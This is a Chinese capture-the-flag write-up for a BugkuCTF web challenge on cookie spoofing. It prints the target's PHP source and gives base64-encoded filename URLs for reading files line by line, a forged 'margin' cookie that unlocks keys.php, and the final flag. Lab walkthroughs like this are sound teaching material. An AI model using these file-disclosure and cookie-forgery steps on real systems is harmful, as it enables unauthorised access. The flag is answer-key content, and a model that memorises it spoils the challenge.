BugkuCTF-WEB题cookie欺骗
知識點
isset: 檢測變量是否設置,并且不是 NULL
$_GET:收集來自 method=“get” 的表單里的值
intval() 函數用于獲取變量的整數值。
in_array() 函數搜索數組里是否存在指定的值。
舉例:
結果:
匹配已找到
file() 函數把整個文件讀入一個數組里
file() 將文件作為一個數組返回。數組里的各單元都為文件里相應的一行,包括換行符在內。
解題流程
查看題目描述: cookies欺騙
打開網頁
只看到很長的字符串
base64解碼
通常的源文件應該是index.php
2、對index.php進行base64編碼并作為新的filename的參數
3、查看源文件,其里line變量起到控制行數的作用:
http://114.67.246.176:13972/index.php?line=1&filename=aW5kZXgucGhw
4、編寫python腳本,查看全部源碼
5、分析PHP源代碼,結合題目描述,我們需要上傳一個cookies,令margin=margin
<? error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); //表示有filename的話獲取其內容,沒有的話就賦值為空 $line=isset($_GET['line'])?intval($_GET['line']):0; //line有值直接獲取,無值賦值為0 if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); //設置我們看到的URL $file_list = array( //關聯型數組 '0' =>'keys.txt', '1' =>'index.php', );if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //接下來的指示,cookie里的margin參數要設置,且要等于'margin' $file_list[2]='keys.php'; //在數組里加入keys.php,這應該存著flag }if(in_array($file, $file_list)){ //看我們傳入的filename的值是否在上面的數組里 $fa = file($file); //以文件的方式打開 echo $fa[$line]; //按line行號,輸出 因為line寫成0(file將文件的內容作為數組時第一行下標是0,至于剛剛那個index.php應該是首行為空的) }/* isset: 檢測變量是否設置,并且不是 NULL $_GET:收集來自 method=“get” 的表單里的值intval() 函數用于獲取變量的整數值。in_array() 函數搜索數組里是否存在指定的值。 舉例: <?php $am = array("Bill", "Steve", "trump", "David"); if (in_array("trump", $am)){echo "匹配已找到";} else{echo "匹配未找到";} ?> 結果: 匹配已找到file() 函數把整個文件讀入一個數組里 file() 將文件作為一個數組返回。數組里的各單元都為文件里相應的一行,包括換行符在內。 */ ?>至此,我們的目標網址應該是:
http://114.67.246.176:13972/index.php?line=&filename=a2V5cy5waHA=(filename替換為
keys.php的base64加密后的內容)
line寫成0(file將文件的內容作為數組時第一行下標是0,至于剛剛那個index.php應該是首行為空的)
6、三類上傳方法:
(1)通過BrupSuite抓包后上傳
(2)編寫python腳本上傳
(3)使用Hackbar上傳
7、得到flag:flag{4db7115d577eed11439dd72738823e9f}
總結
以上是生活随笔為你收集整理的BugkuCTF-WEB题cookie欺骗的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 什么是计算机网络
- 下一篇: C语言 回调函数 callback -